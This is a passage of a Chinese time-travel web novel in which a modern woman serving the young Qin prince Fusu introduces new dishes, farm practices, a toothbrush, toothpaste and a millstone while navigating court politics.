楚荍抬头看着天上如日中天的太阳说道。刚刚李远干得起劲，完全没有她插手的余地。她现在走，应该刚好赶上扶苏用饭。
等她到了扶苏上课的偏殿之后，刚好碰上来送膳食的宫人。
“给我吧。”楚荍接过宫人手里的食盒，走上前在长案上摆好饭菜。
“公子快尝尝我家乡这
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道小菜——赛螃蟹。”
“螃蟹？螃蟹是何物？”扶苏看着那道明明是用鸡蛋做的，但是却被楚荍叫做赛螃蟹的菜疑惑地问。
“螃蟹是一种生活在水里，壳很硬，肉很少，有八条腿，但是味道极其鲜美的食材。每年九月十月最为肥美。”楚荍笑着给扶苏解释。
她记得汉代郑玄注释《周礼》的时候就提到了荆州的鱼和青州的蟹。所以最晚在汉代或者汉代以前古人就吃过蟹了。
不过扶苏不知道也正常，北方本就不像南方河鲜丰腴。不过黄河渭水边应该有蟹，有机会捉几篓给扶苏尝尝。
“这赛螃蟹主要食材虽是用的鸡蛋，但是味道却和螃蟹相似，所以才叫这个名字。公子尝尝就知道了。”
闻言，扶苏半信半疑地尝了一筷子。这不尝不知道，一尝吓一跳，这鸡蛋竟然如此鲜美。
“姑姑，这下我真的好奇螃蟹是什么味道了。”
“这还不简单，等到今年九月十月，姑姑就让人捉几篓，让你一次性吃个够。”
“还要等这么久！”
“那没办法呀，如今才4月，螃蟹都还只有一点点大，吃不了。”
楚荍还是第一次见扶苏心急的样子，却是因为螃蟹，不免觉得好笑。不过被扶苏这么一说，她也馋了。这季节是不是有小龙虾来着？不知道能不能吃上小龙虾，楚荍忍不住想。
油爆大虾、香辣虾、蒜蓉蒸虾、卤虾，天啊，楚荍光想一想就要流口水了。
要是那个破商店能给她刷点螃蟹龙虾什么的就好了，这样她就能带扶苏尝尝鲜了。
可那个破商店不仅是黑店，还没用，楚荍一想到那个20点的大白兔奶糖就生气。就算她换了这包糖，难道她就能拿给扶苏吃了？要是扶苏问她这糖哪来的，她怎么说？
难道要说自己会法术，这糖是她变的吗？
啊啊啊，天杀的系统！
“姑姑，你在想什么？”扶苏问道。
“啊，没什么。”楚荍朝扶苏笑笑摇头，差点想入神漏出破绽了。
主殿内，嬴政刚和李斯谈完事，便留他一起吃饭。
嬴政向来不在意这些吃食，对他来说，能吃饱就行。只有昏君才会在吃食上斤斤计较，人的精力要用在更重要的地方。
看着这盘金灿灿的鸡蛋，嬴政犹豫了一下，不过尝到的时候眼睛立马亮了一下。膳房昨日也好像上了两道新菜，不过都没有这道菜鲜美。
他抬眼看了一眼李斯，那厮也是一样被惊艳的表情。
李斯品尝着嘴里的味道，不知为何，这道菜有他故土楚国的味道。竟是勾起了他的思乡之情。
等他反应过来，盘子的“赛螃蟹”被他吃得一滴不剩。
“来人，让膳房再上两道这菜，顺便问问这菜的做法，好让廷尉带回家中去。”
李斯听出嬴政话里的打趣，立马起身请罪，他刚刚实在失礼。
陪国君吃饭，不得饱食。他竟然把一整盘都吃完了，实在太过失礼。
还好嬴政不太在乎这个，不然此事便可治他的罪，李斯坐下后手上已沁满了汗。
5. 第五章 出宫
午后，嬴政正在批阅奏章，和蒙恬议事。忽闻宫人通传。
“大王，公子求见。”
扶苏？怎么这会儿要见他，还主动要见他？扶苏这孩子，懂事是懂事，就是不太亲他。所以他才把人拎到旁边的偏殿，让他在他眼皮底下读书，他得空了好去看他。
“父王。”扶苏入殿行礼。
“何事？”嬴政一挥衣袖，斜倚在凭几上，打量着入内的扶苏。
“父王，我想出宫。”
扶苏抬起头，看向嬴政的眼神十分坚定。
听到出宫二字，嬴政的眉头立马皱了起来。他没说话，在等着扶苏的理由。
楚荍站在殿门口，听不清里面在说什么，心里免不了为扶苏担心。饭后，她本想去一趟太医署，牙刷有了，还得有牙膏吧。
结果扶苏拦下她，说下午想带她一起出宫。听完扶苏的理由，楚荍立马同意了扶苏想出宫的想法。
就是不知道大王会怎么想，会不会同意。
昨晚她想过，既然系统给她的任务是避免历史重演，主人公又是扶苏，那她只能想到那件事：
始皇帝死后，赵高李斯矫诏赐死扶苏。
系统如果要让她避免历史重演，那就是要阻止扶苏自杀。或者换句话说，辅佐扶苏顺利继位，让大秦得以存续千秋万代。
那么这里就有第一个重要的问题，扶苏和嬴政的关系到底如何。
史书上记载了始皇帝如何宠爱胡亥，而关于扶苏，留下的却是二人之间的争执。
若政哥是真心实意宠爱扶苏，那扶苏作为名正言顺的长公子，继位是很简单的。不然李斯赵高也不会先下手为强，矫诏弄死扶苏。若是扶苏活着，这位置绝不可能由胡亥或是其他人继任。
楚荍从昨天穿过来，总共只见了嬴政一面，除了帅就没别的印象了。他父子二人的关系更是无从得知。
不知道里面情况怎么样了，楚荍忍不住在心里担忧。
“父王，今日我问老师可知五谷何时播种，如何种植，如何防治虫害，何时收获，收获后如何保存。老师皆一一作答。”
“我又问，老师如何得知。老师答，从书中。”
“孩儿生在宫中，长在宫中，甚至从未见过五谷变成食物之前的样子。老师们皆是饱读诗书的博士，却从未下过地，种过粮。所知所得皆从书中所来。不过老师们整日钻研诗书，这也情有可原。”
“可孩儿却不能这样，不知辛苦如何体谅，不见百姓如何担责。所以孩儿今日想出宫，想亲眼去看看粟禾如何生长。”
扶苏一番话下来条理清晰，语气坚定，小大人一样。让人难以相信他只是一个六岁孩童。
嬴政听完，面上表情不变，心中却已经微微燃起怒火，这明明昨晚那个宫女对扶苏说的话。难道是她指使扶苏来说的，是她想出宫？
哼，真是好大的胆子。
“这些是你自己想的？”嬴政问。
只见扶苏点头又摇头，“是昨晚姑姑教会我‘谁知盘中餐，粒粒皆辛苦’的道理。所以今日才想出宫看看。”
“谁知盘中餐，粒粒皆辛苦”，真是好句！蒙恬在一边反复咀嚼这话，愈发觉得这话好。不过公子喊姑姑的好像只有楚夫人原来的侍女，后来一直照顾扶苏起居的那位。他有点印象，不过没想到那人竟能说出这样的话。
见扶苏说的真诚，嬴政心情缓和下来，若此事他是真心，那自然是好事。就怕有人因为扶苏的真心把他当枪使。
“你准备自己一个人去？”
扶苏摇摇头，看向蒙恬，“蒙叔可以陪我一起去。”
嬴政也看向蒙恬，蒙恬立马感觉自己被大王的眼神刀了一千遍。唉，公子怎么就和大王不亲呢，这会儿肯定要先问大王要不要陪他去啊。
扶苏天生聪慧，三岁大王便找老师给扶苏启蒙。如今六岁，君子六艺早早就在学，甚至每样都学的很好。
可早熟的代价是，公子和大王几乎不像寻常父子那样亲昵。公子毫无疑问是仰慕大王的，甚至不知觉间模仿大王的行为举止。或许是因为懂事，甚少对大王有依赖之举。
若是别的公子在大王的偏殿读书，那怕是要把大王殿内的门槛踏破。结果他家公子，今日还是第一次来。
“你去吧，天黑前回。”嬴政收回目光，开始翻阅案上的奏章。
“是，多谢父王。”扶苏兴奋地道谢，丝毫没有意识到自己已经惹亲亲父王不高兴了。
出殿门后，一行人很快就上了马车。
马车内，楚荍尴尬地坐在一边。虽然她这个现代人没有等级意识。但是与蒙恬同乘一辆车也太超过了。
可能是车座太窄，楚荍都感觉蒙恬打量她的眼神实体化了。不过扶苏倒是毫无察觉，兴奋地四处乱看。
这是他第一次出城，什么都是新鲜，自然也就什么都好看。
“楚......夫人？”蒙恬知道她已婚，叫姑娘不合适。
“将军叫我楚荍就好。”楚荍连忙摇摇头，她现在这个身份地位，让蒙恬叫她夫人，别给她吓死。
扶苏没在意两人之间的官司，人和人相处是需要时间的。蒙叔和姑姑都是他信任的人，让他们自己相处就好。
而他的目标明确，马车快速向城郊的农田驶去。
城郊外的粟田连成一片，青青的苗禾生长着，风吹过，滚起一片绿浪。
很快，马车在一块有人劳作的田地边停下。
田里的年轻夫妇被马鸣声吓了一跳，又见蒙恬扶苏等人衣着华贵，身后卫队列队整齐，更是吓得手脚都不知道往哪放。
扶苏被蒙恬抱下车，热情地跑向前向二人打招呼：“婶婶、叔叔，你们在干什么？”
“天娘耶，这世上还有这么好看的娃娃！”年轻妇人看着跑到眼前的扶苏，没忍住惊呼出声。
“各位大人，俺这婆娘不知事，各位大人别见怪。”说着，男子就拉着妇人行礼。
见状，扶苏牵住年轻妇人的手，抬起头，眼睛亮晶晶的，柔声问道：“婶婶，你还没告诉我你们在
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干什么。”
楚荍看扶苏熟练地使用美人计，一时没忍住联想这张脸长大后要迷晕多少女孩儿。
年轻妇人果然抵不住萌娃的魔法攻击，立马就什么都说了：“俺们在除草，追肥之后长了不少杂草。”
“除草是为了粟苗能够完全吸收肥料的营养，然后茁壮成长吗？”
“对、对。”妇人晕乎乎地点头。
“那我能帮你们吗？多个人多份力量，早点除完草婶婶也可以早点休息。”
“可以是可以，就是这地里脏，别弄坏了你的衣裳。”妇人有些为难地说，这么好看的衣裳弄坏了他们可赔不起。
扶苏闻言低头看了看自己的衣裳，又看了一眼他们的打扮，发现确实，自己这一身宽袍大袖如何下田劳作。
“那婶婶，你有没有衣服可以借我换一下？”扶苏抬头，再次使出美人计。
“有是有，俺家大娃和你身量差不多，就是怕你穿不惯。”
“不会，”扶苏摇摇头，笑着说：“婶婶别小看我。”
见扶苏坚持，妇人便带扶苏回了家中换衣服。连带着蒙恬和楚荍都换了身衣裳。
“婶子，你家养猪了噢。”楚荍注意猪圈里两只哼哼唧唧的小猪。
“对啊，刚抱的两只小猪仔，胖乎着呢。”妇人走到猪圈旁边，脸上满是幸福的笑容。
能一次养两头猪，看来这家经济条件还不错，人也勤快，往后肯定能过上好日子。楚荍心想。
到了田里之后，夫妇二人先是教了几人辨认什么是杂草，怎么拔出来省力。
刚开始拔的时候，扶苏还有力气问各种各样的问题。楚荍在一边听着发现自己也是才知道原来粟是一年一熟，有春播和夏播，播种之后怎么疏苗、保苗、定苗；底肥要放多少，追肥又要放多少；成熟期一般是三个月到五个月，秋天是丰收的季节。
虽然昨晚信誓旦旦地质问扶苏，但其实她这个小麦和韭菜都分不清的人根本没资格这么指责扶苏。不过当然，纸上谈兵谁不会呢。昨晚扶苏要是多问一句她就露馅了。
拔到后面，扶苏已经没什么力气说话，体力很快就见底。要不说劳作辛苦呢，太阳晒着，还要不断弯腰，当然辛苦。
太阳西沉后，他们一行人终于是把这一亩三分地的杂草给拔完了。大部分都是夫妇二人拔的，然后是蒙恬，最后是楚荍和扶苏。这也是扶苏第一次体会一亩田到底有多大。
回程去妇人家中换衣服时，扶苏已经累得说不出话。
不过楚荍最后还拜托了夫妇二人一件事。
昨日郑威答应她托人劁猪之事，今天她自己出宫，就想乘机把这件事办了。
正好蒙恬也在一边，不会有比他刀更稳的了。
“二位，我想拜托你们一件事。”
“最近我家公子总是反复做一个梦，梦里有个白胡子老头对他说，若是把猪仔的下面两粒切掉，猪就能长得又快又肥，还没有猪骚味。”
楚荍边说边朝扶苏眨眼，示意他帮自己圆谎。
6. 第六章 怀疑
听到楚荍称扶苏为公子，这年轻夫妇二人立马就反应过来。这模样、这谈吐、这年纪，还能被称为公子的，除了大王的长公子还能有谁！
“拜见公子！”夫妇二人慌忙跪下行礼，“哎呦，俺们眼睛真是瞎了，竟然没认出公子，各位大人别怪罪。”
扶苏连忙扶起二人，温柔地安慰道：“婶婶，叔叔不必多礼，今日该我们谢谢你们才是。”
妇人见扶苏如此彬彬有礼，待人和善，心中更是感动。虽然贵为公子，却一点架子没有，甚至能和他们一起下田干活。虽然她不知道扶苏为什么这么做，但肯这么做就够说明很多问题了。有子如此，何愁我秦国不强！
旁边男人倒是没自家妻子这么复杂的心理活动，之见他挠挠头，有些不好意思地问：“楚姑娘，你刚刚说要拜托俺们什么事？”
楚荍见状无奈一笑，估计刚刚二人就听见“公子”两个字了，然后又把刚刚的话重复了一遍。
“所以，楚姑娘是说有仙人给公子授梦？”
哈哈，这两人还真是会抓重点，这是重点吗？她话里的重点明明是劁猪！
“姑姑，仙人授梦，是——吗？”扶苏拉长最后两个字的尾音，抬眼看向楚荍，眼里满是狡黠。
“是啊是啊，”楚荍疯狂点头，指着扶苏的黑眼圈。“不信你们看公子眼下的乌青，可不是没睡好！”
众人看向扶苏眼下的乌青，纷纷点头，彻底相信了楚荍的话。
“不愧是公子，不仅有仙人授梦，还把劁猪之法这种小事都告诉公子。”年轻妇人满眼崇拜地看向扶苏，已经完全变成迷妹了。
“这怎么是小事，若这劁猪之法真的有效，每只猪便是只多长二十斤肉，都能让不少人吃上肉。这可是天大的好事！”
“是是，我家这口子说得是，是大好事。不然仙人也不会托梦给公子，这是上天都向着我们大秦啊。”
楚荍听这两人一唱一和一副要把扶苏吹上天和果然天命降于大秦的样子，实在是自愧不如，这就是群众的智慧吗？虽然她临时改变劁猪之事的说法，就是为了营造这种舆论。
但是他们这联想，甚至都不需要她引导，就把她的话都给说完了啊。楚荍真是被这两个人弄得哭笑不得。
“今日也是碰上了，才想拜托你二人此事。虽然不知这法子到底可不可行，但试试总不会有错。”
“我们提前把你家这两头猪买下来。这样最后就算这法子不行，你们也不会亏钱。”说罢，楚荍从袖子掏出一袋钱塞到妇人手上。
“不行，这钱俺们不能要。给公子办事还收钱，那俺们成什么人了！不行不行！”
妇人连连摆手，不肯收楚荍递过来的钱。
“婶婶，你们就收下吧。若真是让你们亏钱了，我心中才不安。”扶苏接过楚荍手中的钱，递到妇人手中，真诚地劝他们收下。
话都说到这份上，二人千谢万谢，最终还是收下了这袋钱。
楚荍忍不住在心里感叹，还真是一场酣畅淋漓的“谦让”啊！得劲！
说完，众人走到猪圈旁边，看向两只小猪仔的眼神仿佛在看待宰的羔羊。不，羔猪。
“大人，劁猪这事还得拜托您。”楚荍小心翼翼地询问蒙恬，瞥了一眼他腰间的佩剑，“这里没人比您最适合了。”
她竟然让史上大名鼎鼎的蒙恬将军给猪做绝育手术，她还真是嫌活得不够长啊，楚荍有些心虚地擦了擦额头上的虚汗。
刚刚她在那编瞎话，蒙恬全程都没说话，也不知信了没有。
“那我就恭命不如从命了，麻烦两位把猪仔给抱出来。”蒙恬笑着对夫妇二人说。
蒙将军笑起来还是挺随和的啊，楚荍想。
很快，两人就把猪仔给抱了出来。固定好后，蒙恬手起刀落，两只猪仔的蛋蛋就这么被切掉，甚至连伤口都很小。
猪仔疼得一直吱哇大叫，男人赶紧用草木灰给猪仔的伤口止血。
血止住之后，男人就把两只猪仔给放回了猪圈。
“这几天你们要多注意一点，别让它们舔到伤口，不然伤口感染还得吃药。”楚荍跟二人仔细交代一些细节之后，几人就踏上了归程。
天已经完全黑了下来，咸阳城内星星点点的灯光亮起。
车上，扶苏靠在楚荍身上摇摇欲睡。
“楚荍，你刚刚所说的仙人授梦，可是真的？”蒙恬看向楚荍，眼中的精光让人心悸。
“对啊姑姑，我也想问呢？明明我没做过这样的梦。”扶苏也醒了过来，睁着惺忪的睡眼问道。
楚荍被蒙恬的眼神吓了一跳，面对两人的询问，便把她告诉郑威的版本给两人又讲了一遍。
“楚荍，这劁猪之法你可有十成的把握？”
“这......”
“哼，你可想过，若你这劁猪之法失败了，故事又会演化成什么样？你把功劳用鬼神之说推给公子，若成功那就罢了，要是失败了呢，你可想过后果？”
楚荍的表情一下就难看起来，蒙恬点出她故事里的关键问题，她确实没想过这个问题。
她低下头，她虽知道这法子肯定会成功，但是却无法向蒙恬和扶苏承诺。而且成功率也不是百分百，万一这两只猪仔伤口感染发炎，说不定半路就死了。
“所以蒙叔的意思是，这劁猪之法只许成功，不许失败？”扶苏见楚荍被问住，出言解围。
蒙恬点点头，“必须成功，不能让人有拿此事做文章的机会。”
“这样的话，只有这两只小猪仔肯定不行，而且婶婶也说，今年是她们第一年养猪，也没有经验。”扶苏接着说道。
“楚荍，劁猪之法，你到底有几成把握？”蒙恬又问。
楚荍认真思索一番，答道：“八成。我有八成的把握。”
“八成？姑姑有这么高的把握，那这法子确实值得一试。”扶苏眼睛一亮，笑着说：“若是能找到城中的养猪好手，一次性劁一百只猪，然后精心喂养，这样
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说不定就能有十成把握了。若真能做成，确是一件利国利民的大好事。”
楚荍认同地点点头，若是能扩大实验范围，确实能提高成功率。只是她在宫中，很多事她都做不了。
“蒙叔，此事能麻烦您吗？”扶苏问。
蒙恬看着自家公子对楚荍全然信任的模样，最终还是点了点头。无他，楚荍有一句话他还是认可的——猪没了下面那件东西，每天不是吃就是睡，自然会长得更肥。
“公子放心，我会派人把此事办妥。”
得了蒙恬的保证，身体的疲劳很快就让扶苏熟睡过去。回宫后，扶苏还睡得很香，楚荍就先抱扶苏回宫。蒙恬一人去向大王回禀。
蒙恬站在原地，看着楚荍抱着扶苏远去的背影。这个女人在撒谎，她到底在隐瞒些什么？前一句还在说她只是听过这个故事，不知道真假，但想试一试；后一句又说她有八成把握，简直前言不搭后语。
但是公子，是不是对这女人太过信任了些。他以前竟然没发现这些。
回宫后的楚荍也是累得倒头就睡。睡前只来得及看一眼好感度商店，果然只刷新了一些垃圾。不过扶苏今天对她的好感度倒是又涨了5点。
涨得真慢啊，楚荍这样感叹着，然后就沉沉睡去。
诶，好黑，这是哪？
扶苏走在一条小路上，天上没有月亮，旁边是奔流的河水，河里布满了漂流的河灯。不停有人越过他朝前走去。
脖子上好痛，扶苏抬手想摸，却摸到一手的血。他大惊，停下来走到路边，跪下来望向河面，借着河灯的光看向水面上的倒影。
水面上是成年扶苏的模样，脖子上一长条伤口血肉模糊的样子让人触目惊心。
啊——头好疼。扶苏抱着自己的头，完全想不起发生了什么。为什么自己会是这幅模样，又为什么会在这里，自己脖子上的伤又是怎么回事？
等到头疼欲裂的疼痛过去后，扶苏才又起身，浑浑噩噩地随着人流向前走去。
很快，他就走到了这条路的终点。
有一位老婆婆在桥前支起了一口大锅，锅里熬着汤，分发给要过桥的每一个人。
所有人都在这个摊子前排队，等到扶苏的时候，他才看清一旁的招牌，原来这是孟婆汤。
扶苏正准备接过自己的那碗汤，却见那孟婆突然抬头，手里的汤碗跌落在地，一掌将扶苏击飞。
“你命不该绝，回去吧，会有人助你。”
扶苏被击飞到空中，孟婆的声音在他耳边响起，身后层层法阵亮起，逐渐将他包裹其中。而他，也在这一瞬间失去了意识。
“公子，公子！”楚荍把困在噩梦里的扶苏喊醒。
扶苏慢慢睁开眼睛，额头上都是虚汗。
“公子可是做噩梦了？”
楚荍担心地问，她本是叫扶苏起床，结果发现扶苏眉头紧皱，还发了一身虚汗。
扶苏点头又摇头，过了一会才说道：“我不记得了。”
7. 第七章 牙膏
“梦都是反的，公子别怕。梦里那些东西都做不得数。”
楚荍温柔地摸着扶苏的头安慰。
扶苏强撑起笑容点头，“嗯，我知道的，姑姑。你别担心。”
楚荍见扶苏明显还在难受，但是却还强打起精神让她别担心。心中又是感动又是心疼。
去偏殿的路上，扶苏才想起问昨晚的事。
“姑姑，昨晚回来的时候我是不是睡着了？”
“嗯，昨晚你还在车上的时候就睡着。睡得可沉了，所以我直接把你抱回宫了。蒙将军一人去回禀的大王。”
等父王早朝下了，得去回禀一下父王才行。扶苏在心里想着。
楚荍猜到扶苏肯定要去见嬴政，赶紧劝道：“公子，昨日出宫的事情你可以都说给大王，大王肯定很愿意听。”
这可是促进父子关系的好机会，可不能错过！
扶苏走在前面，听到楚荍的话乖乖点了点头，就是不知道听进去没有。
殿外，扶苏被侍者拦住。
“公子，大王正在和各位大人商议国事。”
“嗯，”扶苏点点头，“那我中午再过来。”
另一边，楚荍去了一趟太医署。昨日她已拜托李远制作牙刷，有了牙刷那必定还得有牙膏啊。等她到了太医署找到太医令，说明自己来意之后，太医令却面露难色。
“清洁保护牙齿的牙膏，就算夫人这么说，若是毫无头绪地去试，也不是一时半会就能研制出来的。”
“我知道，您不必为难。慢慢来就是，有了这个想法，还怕试不出来。”
“再者说，太医署是我大秦医术高超者云集之地，一个小小牙膏定难不住你们。而且大人您为医者，定也知道小儿嗜甜多烂牙。万一公子因此烂牙，被大王知道的话......”
“我知道了，太医署定会尽快研制出这个‘牙膏’的！”太医令打断楚荍的话，脸上的笑快要挂不住，几乎是咬牙切齿说出的这句话。
“那就多谢大人了。若是真能把牙膏研制出来，那也是利国利民的大善事一件。到时大人的名字定能流芳百世。”楚荍拍拍太医令的肩膀，笑得十分甜美。
“那就借夫人吉言了。”太医令捋着自己的山羊胡，气得平日里最宝贵的胡子都揪下来几根。
还是胡萝卜加大棒好使啊，楚荍在心里得意。不过太医令这老头也没说错，毫无头绪地从零开始试，还不知要费多少工夫。
诶，等等，好感度商店里不是有牙膏吗，那包装盒上应该写的有配方吧！
楚荍感觉自己简直是天才，跟太医令打了招呼之后，火速回了自己房中。
房内，确定门锁好后，楚荍闭上眼睛，打开了好感度商店。
今天刷新的三样东西的是牙膏、创口贴和碘酒。
是的，这商店刷新还会用概率刷到重复的。楚荍睁开无语的双眼，看向一边上蹿下跳比她还兴奋的系统。
算了，楚荍把自己话到嘴边的询问给咽了下去，因为她大概率会得到一个雷人的答案。
楚荍双击商店里的云南白药牙膏，下一秒，楚荍手中就多了一盒牙膏。
她赶紧去看牙膏盒子上的配方，结果前面是一连串她完全看不懂的化学成分，很后面才写了一个云南白药提取物！
楚荍傻眼了，这是什么鬼啊啊啊啊啊啊！
她一直以为云南白药牙膏是很古老的以云南白药为主的中药配方的牙膏，她也一直用的是这款。结果配料表上全是化学成分，最后才写了一个云南白药提取物。
云南白药提取物到底是什么鬼啊，这个时候都还没有云南这个称呼吧，她去哪找云南白药啊。
“砰”的一声，楚荍无力地躺到到地上，上一秒还在觉得自己是天才，下一秒就被现实彻底打脸。
好啦，这下准备抄人家配方的计划也破产了。楚荍欲哭无泪地躺着，怎么会有她这么倒霉的穿越者。
而且她记得明明她看过一本讲述大宋日常的书，里面就有提到宋代牙膏的方子。她当时觉得惊讶还特意记了一下来着，结果现在怎么都想不起来。
啊啊啊啊啊，怎会如此！楚荍感觉她被自己的脑子给背叛了，明明她从小记性就好来着。
咚咚，敲门声响起。
“姑姑，你在里面吗？”卫兰的声音从门外传来。
楚荍被这声音吓了一跳，立马坐起来，把手上的牙膏给藏在被子下面。
确定藏好之后，她才起身给卫兰开门。
“姑姑，你怎么没在公子身边？”卫兰疑惑地问。她路过听到动静，还以为招贼了。
“哦，我有事，就回来了一趟。”
“这样啊。正好，今早有人送了东西过来，说是姑姑要的。不过那东西看着很是奇怪，我们都没见过。”
听卫兰这么说，楚荍就知道应该是李远把牙刷给送了过来。这小子动作还挺快。
“是我要的，东西呢，拿给我吧。”
“好。”卫兰点点头，便带着楚荍去拿。
牙刷拿到手之后，楚荍发现李远这小子真挺厉害的。这牙刷做工很好，已经打磨和抛光过了，刷毛也很整齐浓密。虽说背面没那么美观，但是牙刷这种东西嘛，功能性有了就行。
既然成品已经出了，她得让李远多做几只才行。太医署那边就得送几只去，然后她自己也得要一只。其他人的话，等牙膏研究出来再推给其他人用吧。
计划好后，楚荍提起裙摆就准备去找李远。
李远那位置还挺偏的，她过去要走半天。路上，天上突然飘来白白的柳絮。
楚荍愣在原地，好美，她抬手去接这些飘舞的柳絮。四月底，正是北方飘柳絮和杨絮的时候。
柳絮、柳......她想起来了！楚荍突然灵光一闪，她想起来了，那本书里写的牙膏配方！
柳枝、槐枝、桑枝煎水熬膏，加姜汁和......和什么来着？
她记得后面还有几样东西是生僻字来着，她虽然当时查了一下，但是现在完全想不起来了。
这就是文盲的痛苦吗，楚荍在心里审判自己，平常为什么不多读点书！
算了，有这几样应该也差不多了。还要加什么就让那群太医去想吧，不然都有现成的了，还要他们这些太医干什么。唉，楚荍自暴自弃地想。
太阳挂在正空，提醒楚荍该吃饭了。刚好路过膳房，她先去讨了口吃的，再去找的李远。顺便找到郑威随便编了个理由把拜托他养猪那事给取消
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了。
“多谢老师，今日也辛苦您了。”
“公子言重了。”
送走老师之后，扶苏跪坐自己的位置上。不知为何，他虽然完全不记得那个梦，但是心里却莫名的十分沉重。
他到底梦到了什么，竟然会如此影响他的心情。
“大王驾到。”
宫人的一声高喝，扶苏才回神。一抬头，嬴政已经到他眼前。
不知道为什么，见到嬴政，扶苏突然愣了一下，鼻间瞬间酸涩，甚至连眼眶都莫名湿润。
也是因为那个梦吗？
“父王。”扶苏来不及细想，起身行礼。
“在想什么？”嬴政随意地坐在扶苏的位置上。扶苏刚刚的表情全都落到了他眼中。
“没什么。”扶苏低下头摇头，再抬头时，已经整理好情绪。他在长案对面坐下。
见扶苏不想说，嬴政便也没追问。总不过一个半大小子，能有什么事。
“你找我？”
“昨日回来晚了，孩儿还睡着了，没能去回禀父王，是孩儿的失礼。”
“知道就好。再有下次，就别想再出宫了。”嬴政面无表情地说。
扶苏低头认错，眉眼恭顺，“是，孩儿知道了。”
恰好，这时宫人送来了中午的饭食。父子二人就顺势一起吃了一顿午饭。
楚荍晚上回来，知道自己错过了政哥和扶苏一起吃饭，是真想死的心都有了。
不过这会儿，她还在李远这里。
“李远，你这个是？”
楚荍拿起一把牙刷，这把牙刷背面光滑齐整，没有开孔的痕迹，但是还没有植毛。
“这个是我早上想出来的，孔不钻通，只钻一半深，然后两个小孔之间挖空，这样会更美观，也更不容易伤嘴巴里的肉。”
李远停下手里的活，给她解释。
“那这样刷毛是不是更不好固定？”楚荍问。
李远点点头，“我试两种固定的方式，效果都不是很好。”
“那你慢慢钻研，不急。今早你送到公子宫中的那支，已经很好了。旁边那几只是做好的吗？”
“嗯，那几只是昨晚做的。”
“那你把那几只给我吧。”楚荍把太医院要做牙膏的事情告诉他，她要把这几只牙刷送给太医院做试验品。
“那我待会儿就直接拿走了。我还有个东西要你帮我做。”
楚荍朝李远眨眨眼，然后在地上画下石墨的图纸。
“这是什么？”李远瞪大了眼睛问，他还没见过这种东西。
“这个叫石磨，一种磨豆子的工具。有了这个，就能做各种好吃的。”
楚荍为李远详细介绍一下石磨的功能，特别是有了石磨之后能做多少好吃的。什么豆浆、豆腐、各种面点，简直听得李远都要咽口水了。
“姑姑，这石磨倒是不难做，只是这石头，不是轻易能弄来的。”
对哦，李远提醒她了，现在这会儿大石头都是战略资源，各种攻城战都要用到。不是什么路边就能捡到的东西。
那谁能帮她搞到石头呢，既然是战略资源？
有了，楚荍眼睛一亮。
就决定是你了，蒙恬将军！
8. 第八章 桌椅
几日后，楚荍终于在开朝会的主殿外蹲到了蒙恬。
然后在众目睽睽之下，叫住了他。
蒙恬听到有人叫他，一转头，一百米开外楚荍正在朝他挥手。
一同下朝的其他同僚瞬间也看了过来。
看着楚荍提着裙摆大摇大摆朝自己跑来的样子，蒙恬看起来只是面无表情的站在原地，但其实人已经死了有一会儿了。
楚荍有一百种方式可以找他，但是她却选了最显眼的一种方式。很难说她不是故意的。
等人在面前站定，蒙恬笑着开口，语气里颇有些咬牙切齿：“楚荍，你这一喊，我这左眼皮都跳了啊。”
楚荍被蒙恬这突如其来的开玩笑一下给弄愣住了。
蒙恬如今三十多岁，平日里为人稳重。这一笑起来，楚荍突然觉得原本只存在于历史书里的“蒙恬将军”好像生动起来了。就像是书里的人物，却突然活了过来，成了你身边一个有血有肉、有笑有泪的人。甚至在阳光正好的日子里，他刚好在和你开玩笑。
楚荍不知道为什么莫名有些感动。好像一瞬间，突然有了穿越的实感。
她真的，的的确确穿越回了那个无数人魂牵梦萦的大秦。
“楚荍？”蒙恬喊了一声眼前的人，不知道她为什么突然愣住了。
楚荍回过神，立马笑着说：“左眼跳财，将军一见到我就左眼跳说明我是带着好事来找将军的呀。没想到将军对我评价这么高。”
“呵，那就托你的福了。”蒙恬被楚荍的厚颜无耻给逗笑，也就接了一句。
“李大人，这来找蒙将军的女子是谁？二人看着很熟络的样子。”李斯一旁的同僚问。
李斯也朝楚荍那边望去，随意答道：“那是公子宫中的掌事姑姑。”
楚荍左右一看，发现那些官员都有意无意地在看向他们这样这边，见目的达到，楚荍直接对蒙恬说：“将军，借一步说话。”
上次出宫回来后，楚荍仔细回忆了一下，发现自己简直是前言不搭后语，话里处处是漏洞。像蒙恬这样的人精，肯定已经怀疑她了。
所以她今天特意这个时间来找蒙恬，就是想告诉所有人，蒙恬是扶苏的人。蒙家本就亲近扶苏，如今是越走越近。
她自然是扶苏的人，现在她要把蒙恬也绑到这条船上来。如果大家都是一条船上的人，就算蒙恬怀疑她，那就无所谓了。大家目的都是辅佐公子，方式不一样又有什么关系呢。
两人走到一边之后，楚荍便开门见山说明了自己的来意。
“将军，我最近在研究些新的吃食，不过这些吃食都需要一个工具——石磨。”
“石磨？”
“对，这种工具可以把豆子、麦子和其他粮食磨成粉，这些磨出来的粉可以用来做各种各样的吃食。不过这石磨需要整块的石头来制作，所以这才来拜托将军。”
“不过将军不必为难，我只需要两块小石头就够了。”
楚荍合抱双手比了一下，大概是个直径五六十厘米的小磨。
“这小磨只用来供公子和大王的吃食还是足够的。将军放心，到时这第一锅新鲜吃食出锅，我一定派人送到将军府上。让将军和夫人也尝尝鲜。”
“小磨？那大磨呢，需要多大的石头？”蒙恬问。
“大磨，大概得有这么大吧。”楚荍伸开双手，比了个大概一米二直径的石磨。“这么大的磨得三匹马才能拉动，不过一个时辰就能磨五十斤粮食。”
蒙恬听完楚荍的介绍，他大概懂了石磨到底是个什么东西，又有什么用处。
既然楚荍是为了给公子研究新鲜吃食，那弄两块是石头来也不是什么难事。于是便应承了下来。
两人谈妥之后，蒙恬从檐下阴影走出来，和楚荍道别。
看着蒙恬远去的背影，楚荍站在原地久久没有离开。她还在回味自己刚刚心中那一瞬间的悸动。
真的穿越了啊，楚荍。
她在心里反复告诫自己。
天上又开始飘起了柳絮，楚荍伸手接下一朵，原本在空中飘零的白团子，就这样稳稳落到她手心。
楚荍握紧手中的柳絮，向前一步，走出了阴影。
她沐浴在阳光之下，轻声呢喃道：
迎接新生活吧，去书写属于自己的诗三百，楚荍。
楚荍回到宫中之后，就立马被李远叫了去。
前几日她本想让李远帮她做个石磨，但当时做不了，她就让李远帮她做了另一件着急的东西——解放双腿的桌椅。
她穿过来这些时日，整日跪坐，膝盖都跪青了。而且跪久了双腿又酸又麻，连站起来都需要搀扶。而且老这样跪坐，她总觉得会影响小孩长身体。
